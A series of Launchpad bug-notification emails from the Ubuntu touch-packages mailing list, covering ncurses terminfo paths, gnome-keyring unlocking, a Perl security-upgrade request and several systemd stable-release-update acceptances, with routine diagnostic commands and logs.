[Touch-packages] [Bug 1705067] Re: system-local terminfo does not search /usr/share/terminfo as README says

[Thomas Dickey]

Works for me:

$ infocmp stterm|head -5
#   Reconstructed via infocmp from file: /usr/share/terminfo/s/stterm
stterm| Suckless Tools simple terminal,
am, bce, hs, mir, msgr, ul, xenl,
colors#8, cols#80, it#8, lines#24, ncv#3, pairs#64,
acsc=``aaffggiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~,

$ infocmp -D
/etc/terminfo
/lib/terminfo
/usr/share/terminfo

$ toe -as
--> /etc/terminfo
> /lib/terminfo
--> /usr/share/terminfo
...
*-: stterm   Suckless Tools simple terminal
*-: stterm-256color  Suckless Tools simple terminal with 256 colors
*-: stterm-meta  Suckless Tools simple terminal with meta key
*-: stterm-meta-256color Suckless Tools simple terminal with meta key 

Since /usr/share/terminfo is the compiled-in system default, it's hard
to break that...

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ncurses in Ubuntu.
https://bugs.launchpad.net/bugs/1705067

Title:
  system-local terminfo does not search /usr/share/terminfo as README
  says

Status in ncurses package in Ubuntu:
  New

Bug description:
  $ lsb_release -rd

  Description:Ubuntu 16.04.2 LTS
  Release:16.04

  The file /etc/terminfo/README says

  This directory is for system-local terminfo descriptions. By default,
  ncurses will search ${HOME}/.terminfo first, then /etc/terminfo (this
  directory), then /lib/terminfo, and last not least /usr/share/terminfo.

  but it seems that /usr/share/terminfo is not used or does not work as
  expected?

  Repro:

  1) Install `stterm`

  2) Start `stterm`

  3) Type `clear`

  Result:

  terminals database is inaccessible

  Expected result:

  Screen is cleared

  Workaround:

  Symlink the terminfo database to a user-local ~/.terminfo

  mkdir -p ~/.terminfo/s && ln -sf /usr/share/terminfo/s/stterm*
  ~/.terminfo/s

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ncurses/+bug/1705067/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

Re: [Touch-packages] [Bug 1689825] Re: gnome-keyring not unlocked on boot

[jose]

Thank you, I really don't think that this is a good solution

On 07/18/2017 03:53 PM, Gunnar Hjalmarsson wrote:
> dbus-user-session is a dependency of the desktop meta packages, so
> uninstalling it means that you on Unity uninstall ubuntu-session and
> ubuntu-desktop, on GNOME Flashback you uninstall gnome-session-flashback
> etc.
>

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1689825

Title:
  gnome-keyring not unlocked on boot

Status in D-Bus:
  New
Status in chromium-browser package in Ubuntu:
  Invalid
Status in flatpak package in Ubuntu:
  Confirmed
Status in gdm package in Ubuntu:
  Confirmed
Status in gnome-keyring package in Ubuntu:
  Confirmed
Status in libgnome-keyring package in Ubuntu:
  Confirmed
Status in lightdm package in Ubuntu:
  Confirmed

Bug description:
  1) Release: 16.04.2
  2) gnome-keyring: 3.18.3-0ubuntu2
  3) Login. gnome-keyring unlocks "login" features including for google chrome
  4) gnome-keyring is not unlocked, chrome takes 2 minutes to open and with no 
secure password features(sync) functioning.

  For the past couple days, chrome on Ubuntu 16.04 takes a REALLY long
  time (maybe 2 minutes) to start. Once chrome is started, I am not able
  to sync and any secure password features are broken. I found out this
  is due to gnome-keyring not being unlocked at login. There's also no
  way to unlock the "login" portion of the keyring from the running
  daemon by default. I have to kill the gnome-keyring process and start
  without "--login" as a parameter. Then the "login" section shows up
  which I'm able to unlock. From there chrome starts up instantly but
  asks the following:

  Enter password to unlock your login keyring
  The login keyring did not get unlocked when you logged into your computer

  After that, all of it's sync and secure features are functional.

  Starting google-chrome-stable from a command line at boot without
  running the above workaround shows the following error messages:

  Gkr-Message: secret service operation failed: Did not receive a reply. 
Possible causes include: the remote application did not send a reply, the 
message bus security policy blocked the reply, the reply timeout expired, or 
the network connection was broken.
  Gkr-Message: secret service operation failed: Did not receive a reply. 
Possible causes include: the remote application did not send a reply, the 
message bus security policy blocked the reply, the reply timeout expired, or 
the network connection was broken.
  [4364:4393:0510/100407.740292:ERROR:token_service_table.cc(130)] Failed to 
decrypt token for service AccountId-108842767310111573264
  [4364:4445:0510/100407.740292:ERROR:gcm_store_impl.cc(929)] Failed to restore 
security token.

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: gnome-keyring 3.18.3-0ubuntu2
  ProcVersionSignature: Ubuntu 4.8.0-52.55~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-52-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  CurrentDesktop: GNOME-Flashback:Unity
  Date: Wed May 10 09:43:37 2017
  SourcePackage: gnome-keyring
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/dbus/+bug/1689825/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705145] [NEW] upgrade xenial-perl to get important security fixes

[Karen Etheridge]

*** This bug is a security vulnerability ***

Public security bug reported:

xenial packages perl at version 5.22.1, as described here --
https://packages.ubuntu.com/xenial/perl

Please could you upgrade the package to reflect 5.22.4, to include
critical bug fixes that have been fixed in the meantime?  This is a
binary-compatible upgrade that does not require the recompilation of
perl modules contained in other ubuntu packages.

Debian has already prepared a 5.22.4 build so you should be able to
simply copy that over.  The main security issue of concern is this one
-- https://security-tracker.debian.org/tracker/CVE-2016-1238 -- which
directly affects the package managers used by debian and ubuntu.

I am also in touch with the debian perl people, and the core perl team,
so I can answer additional questions or facilitate communication with
either group as needed.

thank you!

** Affects: perl (Ubuntu)
 Importance: Undecided
 Status: New

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to perl in Ubuntu.
https://bugs.launchpad.net/bugs/1705145

Title:
  upgrade xenial-perl to get important security fixes

Status in perl package in Ubuntu:
  New

Bug description:
  xenial packages perl at version 5.22.1, as described here --
  https://packages.ubuntu.com/xenial/perl

  Please could you upgrade the package to reflect 5.22.4, to include
  critical bug fixes that have been fixed in the meantime?  This is a
  binary-compatible upgrade that does not require the recompilation of
  perl modules contained in other ubuntu packages.

  Debian has already prepared a 5.22.4 build so you should be able to
  simply copy that over.  The main security issue of concern is this one
  -- https://security-tracker.debian.org/tracker/CVE-2016-1238 -- which
  directly affects the package managers used by debian and ubuntu.

  I am also in touch with the debian perl people, and the core perl
  team, so I can answer additional questions or facilitate communication
  with either group as needed.

  thank you!

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/perl/+bug/1705145/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1621396] Re: systemd-resolved crashed with SIGSEGV in dns_packet_is_reply_for()

[Adam Conrad]

Hello Daniele, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Tags removed: verification-failed-xenial
** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1621396

Title:
  systemd-resolved crashed with SIGSEGV in dns_packet_is_reply_for()

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Committed
Status in systemd source package in Yakkety:
  In Progress
Status in systemd source package in Zesty:
  Fix Released

Bug description:
  [Impact]

   * Null-pointer dereference in resolved, results in resolved crash and
  reports on launchpad and errors.

  [Test Case]

   * Unknown steps to reproduce
   * Monitor the drop off in crashes on errors.ubuntu.com:
  https://errors.ubuntu.com/problem/ea90aefe098653f44b46e56d72e2cc05ff980465

  [Regression Potential]

   * The behavior is similar, instead of crashing resolved it returns an
  error in the relevant function. Whilst this may not result in correct
  dns resolution for the affected dns packets, it should not result in
  resolved crashes.

  [Original Bug Report]

  This is one of background errors that happens without any active app being 
involved.
  For the records, I had open: Firefox, Slack, Franz and the Terminal

  The Ubuntu Error Tracker has been receiving reports about a problem regarding 
systemd. This problem was most recently seen with package version 233-6ubuntu2, 
the problem page at 
https://errors.ubuntu.com/problem/ea90aefe098653f44b46e56d72e2cc05ff980465 
contains more details, including versions of packages affected, stacktrace or 
traceback, and individual crash reports.
  If you do not have access to the Ubuntu Error Tracker you can request it at 
http://forms.canonical.com/reports/.

  ProblemType: Crash
  DistroRelease: Ubuntu 16.10
  Package: systemd 231-5
  ProcVersionSignature: Ubuntu 4.4.0-9136.55-generic 4.4.16
  Uname: Linux 4.4.0-9136-generic x86_64
  ApportVersion: 2.20.3-0ubuntu7
  Architecture: amd64
  CrashCounter: 1
  Date: Thu Sep  8 09:33:55 2016
  ExecutablePath: /lib/systemd/systemd-resolved
  InstallationDate: Installed on 2013-06-06 (1189 days ago)
  InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424)
  MachineType: Dell Inc. Dell System XPS L322X
  ProcCmdline: /lib/systemd/systemd-resolved
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-9136-generic 
root=UUID=2850be62-a05e-4ab9-af2b-5f1fd159ce5d ro quiet splash vt.handoff=7
  Signal: 11
  SourcePackage: systemd
  StacktraceTop:
   ?? ()
   ?? ()
   ?? () from /lib/systemd/libsystemd-shared-231.so
   sd_event_dispatch () from /lib/systemd/libsystemd-shared-231.so
   sd_event_run () from /lib/systemd/libsystemd-shared-231.so
  Title: systemd-resolved crashed with SIGSEGV in sd_event_dispatch()
  UpgradeStatus: Upgraded to yakkety on 2016-09-03 (4 days ago)
  UserGroups:

  dmi.bios.date: 04/18/2013
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A08
  dmi.board.name: 0PJHXN
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 8
  dmi.chassis.vendor: Dell Inc.
  dmi.chassis.version: 0.1
  dmi.modalias: 
dmi:bvnDellInc.:bvrA08:bd04/18/2013:svnDellInc.:pnDellSystemXPSL322X:pvr:rvnDellInc.:rn0PJHXN:rvrA00:cvnDellInc.:ct8:cvr0.1:
  dmi.product.name: Dell System XPS L322X
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1621396/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1651518] Re: systemd/logind parsing problem: HTX exercisers stopped on error: rc 11, errno 11 from main(): pthread_create

[Adam Conrad]

Hello bugproxy, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Tags removed: verification-done verification-done-xenial
** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1651518

Title:
  systemd/logind parsing problem: HTX exercisers stopped on error: rc
  11, errno 11 from main(): pthread_create

Status in The Ubuntu-power-systems project:
  Fix Committed
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Committed
Status in systemd source package in Yakkety:
  Fix Released

Bug description:
  [SRU justification]
  Before systemd 232, UserTasksMax=infinity is not respected in logind.conf, 
despite the documentation referring to systemd.resource-control(5) for the 
definition of this field. This limits the use of Ubuntu 16.04 and later in 
contexts where a user session should be permitted to allocate large numbers of 
processes.

  [Test case]
  1. Set UserTasksMax=infinity in /etc/systemd/logind.conf.
  2. Create a new login session.
  3. Check the ulimit for user processes with 'ulimit -u'.
  4. Verify that the limit has a numeric value.
  5. Upgrade to systemd from -proposed.
  6. Create a new login session.
  7. Check the ulimit for user processes with 'ulimit -u'.
  8. Verify that the limit is now set to 'unlimited'.

  [Regression potential]
  This is an upstream patch which is part of 232 and later without issues and 
clearly addresses the bug in question.  While the upstream commit includes code 
changes that are not strictly required in order to fix this bug, these are 
mostly cosmetic and should not carry significant additional risk.


  == Comment: #1 - Application Cdeadmin  -
  2016-12-19 04:15:10 ==

  Configuration: IBM 8001-22C (S822LC), LSI SAS adapters, SMC 4U90 disk
  drawers, HDD (180) 7.3TB

  Problem: HTX exercisers stopped on error, with HTX log showing "rc 11,
  errno 11 from main(): pthread_create"

  htxubuntu-425

  lpar: busybee.aus.stglabs.ibm.com (root/ lab passwd)

  root@busybee:~# uname -a
  Linux busybee 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:27:59 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux

  root@busybee:~# cat /tmp/htxerr

  /dev/sdh  Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  rc 11, errno 11 from main(): pthread_create

  /dev/sdh  Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  Hardware Exerciser stopped on an error

  /dev/sdao Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  rc 11, errno 11 from main(): pthread_create

  /dev/sdao Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  Hardware Exerciser stopped on an error

  /dev/sddx Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  rc 11, errno 11 from main(): pthread_create

  /dev/sddx Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  Hardware Exerciser stopped on an error

  /dev/sdcz Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  rc 11, errno 11 from main(): pthread_create

  /dev/sdcz Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  Hardware Exerciser stopped on an error

  /dev/sddp Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  rc 11, errno 11 from main(): pthread_create

  /dev/sddp Dec 12 23:52:42 2016 err=000b sev=1 hxestorage
  Hardware Exerciser stopped on an error

  No errors logged in syslog after starting HTX:

   State: Open by: asperez on 16 December 2016 10:28:02 
  This error recreated on the smaller 1U Open Power system with the same 
smaller 1-adapter/1-4U90 drawer/90 HDD. There are 2 cables connected to the 
drawer (one to each ESM) that requires multipath enabled.

  lpar: yellowbee

  root@yellowbee:~# cat /tmp/htxerr

  /dev/sdao Dec 16 01:14:44 2016 err=000b sev=1 hxestorage
  rc 11, errno 11 from main(): pthread_create

  /dev/sdak Dec 

[Touch-packages] [Bug 1673860] Re: systemd-resolved unit should run Before=network-online.target

[Adam Conrad]

Hello Ryan, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Tags removed: verification-done-xenial
** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1673860

Title:
  systemd-resolved unit should run Before=network-online.target

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Committed
Status in systemd source package in Yakkety:
  Fix Released

Bug description:
  === Begin SRU Template ===
  [Impact]

  For releases using systemd-resolved (yakkety and zesty); the unit
  configuration does not require that the service be active before
  allowing systemd to reach 'network-online.target' which is a special
  target used to allow other units which require networking access to
  run.  

  In some cases, units which run After=network-online.target may
  encounter DNS failures if systemd-resolved is not yet completely
  active.

  The fix is to add Before=network-online.target to the Unit directives
  for systemd-resolved.service.

  [Test Case]

  1. lxc launch ubuntu-daily:yakkety y1
  2. lxc exec y1 -- journalctl -o short-precise \
 --unit systemd-resolved --unit network-online.target

  3. Check order of units;  If 'Reached target Network is Online' is
 listed before 'Started Network Name Resolution', then DNS may not
 be up.

  Example FAIL output:

  # apt-cache policy systemd
  systemd:
Installed: 231-9ubuntu3
Candidate: 231-9ubuntu3
Version table:
   *** 231-9ubuntu3 500
  500 http://archive.ubuntu.com/ubuntu yakkety-updates/main amd64 
Packages
  100 /var/lib/dpkg/status
   231-9git1 500
  500 http://archive.ubuntu.com/ubuntu yakkety/main amd64 Packages

  # journalctl -o short-precise -u systemd-resolved -u network-online.target 
  -- Logs begin at Thu 2017-03-23 21:22:42 UTC, end at Thu 2017-03-23 21:22:49 
UTC. --
  Mar 23 21:22:47.173454 y1 systemd[1]: Reached target Network is Online.
  Mar 23 21:22:47.197566 y1 systemd[1]: systemd-resolved.service: Failed to 
reset devices.list: Operation not permitted
  Mar 23 21:22:47.198023 y1 systemd[1]: Starting Network Name Resolution...
  Mar 23 21:22:47.207216 y1 systemd-resolved[438]: Positive Trust Anchors:
  Mar 23 21:22:47.207265 y1 systemd-resolved[438]: . IN DS 19036 8 2 
49aac11d7b6f6446702e54a1607371607a1a41855200fd2ce1cdde3
  Mar 23 21:22:47.207319 y1 systemd-resolved[438]: Negative trust anchors: 
10.in-addr.arpa 16.172.in-addr.arpa 17.172.in-add
  Mar 23 21:22:47.216370 y1 systemd-resolved[438]: Using system hostname 'y1'.
  Mar 23 21:22:47.237441 y1 systemd-resolved[438]: Switching to system DNS 
server 10.245.119.1.
  Mar 23 21:22:47.399614 y1 systemd[1]: Started Network Name Resolution.

  
  Example PASS output:
  # journalctl -o short-precise -u systemd-resolved -u network-online.target 
  -- Logs begin at Thu 2017-03-23 21:25:08 UTC, end at Thu 2017-03-23 21:25:11 
UTC. --
  Mar 23 21:25:10.206276 y1 systemd[1]: systemd-resolved.service: Failed to 
reset devices.list: Operation not permitted
  Mar 23 21:25:10.206685 y1 systemd[1]: Starting Network Name Resolution...
  Mar 23 21:25:10.229430 y1 systemd-resolved[445]: Positive Trust Anchors:
  Mar 23 21:25:10.229449 y1 systemd-resolved[445]: . IN DS 19036 8 2 
49aac11d7b6f6446702e54a1607371607a1a41855200fd2ce1cdde3
  Mar 23 21:25:10.229491 y1 systemd-resolved[445]: Negative trust anchors: 
10.in-addr.arpa 16.172.in-addr.arpa 17.172.in-add
  Mar 23 21:25:10.229759 y1 systemd-resolved[445]: Using system hostname 'y1'.
  Mar 23 21:25:10.231969 y1 systemd-resolved[445]: Switching to system DNS 
server 10.245.119.1.
  Mar 23 21:25:10.291591 y1 systemd[1]: Started Network Name Resolution.
  Mar 23 21:25:10.291944 y1 systemd[1]: Reached target Network is Online.

  
  [Regression Potential]
  Changing order in boot can be dangerous.  This is a possiblity of
  units using 

[Touch-packages] [Bug 1668347] Re: Unable to set bridge_portpriority with networkd

[Adam Conrad]

Hello Ryan, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Tags removed: verification-done verification-done-xenial
** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1668347

Title:
  Unable to set bridge_portpriority with networkd

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Committed
Status in systemd source package in Yakkety:
  In Progress
Status in systemd source package in Zesty:
  Fix Released

Bug description:
  [Impact]

   * Netplan uses systemd-netword provider to configure all sorts of networking 
settings
   * However, unlike ifupdown, released versions of systemd do not support 
setting bridgeport priority, aka
  `brctl setportprio   `
   * This prevents full migration from ifupdown to netplan/systemd-networkd for 
projects like MAAS that do need to configure equal cost; yet differential 
priority bridge ports.
   * This is proposal to cherrypick this functionality which essentially 
accepts one more key in the .network units; and send those values via netlink.

  [Test Case]

   * networkd-test.py is executed as part of autopkgtests that
  configures a bridge, and sets various valid bridge port priorities and
  verifies from sysfs that those were correctly set by systemd.

   * Alternativey create a bridge .link unit, and specify .network unit
  for a bridge port and use Priority=4 setting in the [Bridge] section
  in the said unit to modify bridge port priority.

  
  [Regression Potential] 

   * This is an upstream cherrypick of functionality that will be
  included in 234 release. However, since MAAS and netplan target stable
  releases, I would like to cherrypick this functionality all the way
  back to xenial. This almost a feature, rather than a bugfix, but it is
  so small and accompanied by regression testsuite that it is almost a
  tiny bugfix.

  [Other Info]
   
   * Original request to support this feature.

  
  1. root@ubuntu:/run/systemd/network# lsb_release -rd
  Description:Ubuntu Zesty Zapus (development branch)
  Release:17.04

  2. root@ubuntu:/run/systemd/network# apt-cache policy systemd
  systemd:
    Installed: 232-18ubuntu1
    Candidate: 232-18ubuntu1
    Version table:
   *** 232-18ubuntu1 500
  500 http://archive.ubuntu.com/ubuntu zesty/main amd64 Packages
  100 /var/lib/dpkg/status

  3. Using a networkd config like this:

  # cat 10-netplan-eth1.network
  [Match]
  MACAddress=52:54:00:12:34:02
  Name=eth1

  [Network]
  Bridge=br0
  LinkLocalAddressing=no
  IPv6AcceptRA=no

  [Bridge]
  Cost=50
  Priority=28

  %  cat /sys/class/net/br0/brif/eth1/priority
  28

  4. %  cat /sys/class/net/br0/brif/eth1/priority
  32

  When using ifupdown and /etc/network/interfaces to configure a bridge
  users are able to specify a bridge port priority:

  auto br0
  iface br0 inet static
    address 192.168.1.1
    bridge_ports eth1 eth2
    bridge_portprio eth1 28
    bridge_portprio eth2 14

  Which results in the bridge hook scripts running:

  brctl setportprio br0 eth1 28

  which is visible via:

  /sys/class/net/br0/brif/eth2/priority

  Note, networkd does not mention PortPriority under netdev Bridge section,
  however, PathCost is mentioned.  It appears networkd is missing an 
implementation.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: systemd 232-18ubuntu1
  ProcVersionSignature: Ubuntu 4.10.0-8.10-generic 4.10.0-rc8
  Uname: Linux 4.10.0-8-generic x86_64
  ApportVersion: 2.20.4-0ubuntu2
  Architecture: amd64
  Date: Mon Feb 27 17:11:32 2017
  Lsusb: Error: command ['lsusb'] failed with exit code 1:
  MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.10.0-8-generic 

[Touch-packages] [Bug 1686361] Re: systemd does not respect nofile ulimit when running in container

[Adam Conrad]

Hello Christian, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Tags removed: verification-done verification-done-xenial
** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1686361

Title:
  systemd does not respect nofile ulimit when running in container

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Committed
Status in systemd source package in Yakkety:
  In Progress
Status in systemd source package in Zesty:
  Fix Released
Status in systemd source package in Artful:
  Fix Released

Bug description:
  [Impact]

   * Containers cannot use maximum RLIMIT_NOFILE, because systemd sets
  an arbitrary cap.

  [Test Case]

   * Start container with high RLIMIT_NOFILE (e.g. 100 000)
   * Check that RLIMIT_NOFILE on the container is more than 65536

  [Regression Potential]

   * This is a feature / change of behaviour. Some users may be relying
  on the lower RLIMIT_NOFILE cap, but it should not have a negative
  impact on the host (as in creating too many file descriptors/denial of
  service).

  [Original Bug Report]

  When systemd currently starts in a container that has RLIMIT_NOFILE set to 
e.g.
  10 systemd will lower it to 65536 since this value is hard-coded into 
systemd.
  I've pushed a patch to systemd upstream that will try to set
  the nofile limit to the allowed kernel maximum. If this fails, it will compute
  the minimum of the current set value (the limit that is set on the container)
  and the maximum value as soft limit and the currently set maximum value as the
  maximum value. This way it retains the limit set on the container.
  It would be great if we could backport this patch to have system adhere to
  nofile limits set for the container. This is especially important since user
  namespaces will allow you to lower the limit but not raise it back up 
afterwards.
  The upstream patch is appended.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1686361/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1704677] Re: 229-4ubuntu18: '+' command prefix does not work in ExecStart*= and ExecStop*=

[Adam Conrad]

Hello linuxball, or anyone else affected,

Accepted systemd into xenial-proposed. The package will build now and be
available at https://launchpad.net/ubuntu/+source/systemd/229-4ubuntu19
in a few hours, and then in the -proposed repository.

Please help us by testing this new package.  See
https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how
to enable and use -proposed.Your feedback will aid us getting this
update out to other Ubuntu users.

If this package fixes the bug for you, please add a comment to this bug,
mentioning the version of the package you tested and change the tag from
verification-needed-xenial to verification-done-xenial. If it does not
fix the bug for you, please add a comment stating that, and change the
tag to verification-failed-xenial. In either case, details of your
testing will help us make a better decision.

Further information regarding the verification process can be found at
https://wiki.ubuntu.com/QATeam/PerformingSRUVerification .  Thank you in
advance!

** Changed in: systemd (Ubuntu Xenial)
   Status: In Progress => Fix Committed

** Tags added: verification-needed verification-needed-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1704677

Title:
  229-4ubuntu18: '+' command prefix does not work in ExecStart*= and
  ExecStop*=

Status in systemd package in Ubuntu:
  Invalid
Status in systemd source package in Xenial:
  Fix Committed

Bug description:
  [Impact]
  229-4ubuntu18 included changes irrelevant for xenial, which whilst harmless 
generates a lot of scary journal entries.

  [Fix]
  Drop the cherrypciked ExecStart|StopPost stanzas from the drop in snippet. 
Integration of the resolved stub resolver with resolvconf on xenial is not 
required, because resolved in xenial does not have stub resolver. Also xenial's 
systemd does not support '+' prefix on the Exec* lines.

  [Testcase]
  Upgrade to te new SRU, make sure testcase from 
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1673860 still passes

  Check that there is no extra journal warnings/errors about "Executable
  path is not absolute" from systemd reading /lib/systemd/system
  /systemd-resolved.service.d/resolvconf.con

  [Original Descrption]

  
  The systemd version 229-4ubuntu18 from xenial-proposed archive has a bug. The 
'+' prefix (see 
https://www.freedesktop.org/software/systemd/man/systemd.service.html) in 
ExecStart*= and ExecStop*= statements does not work any longer.

  File /lib/systemd/system/systemd-resolved.service.d/resolvconf.conf of
  this version contains two commands prefixed with '+':

  # When resolved is in use, it must be brought up before we consider networking
  # available because otherwise there is a window where DNS resolution doesn't
  # work.
  [Unit]
  Before=network-online.target

  # tell resolvconf about resolved's builtin DNS server, so that DNS servers
  # picked up via networkd are respected when using resolvconf, and that 
software
  # like Chrome that does not do NSS (libnss-resolve) still gets proper DNS
  # resolution
  [Service]
  ExecStartPost=+/bin/sh -c '[ ! -e /run/resolvconf/enable-updates ] || echo 
"nameserver 127.0.0.53" | /sbin/resolvconf -a systemd-resolved'
  ExecStopPost=+/bin/sh -c '[ ! -e /run/resolvconf/enable-updates ] || 
/sbin/resolvconf -d systemd-resolved'

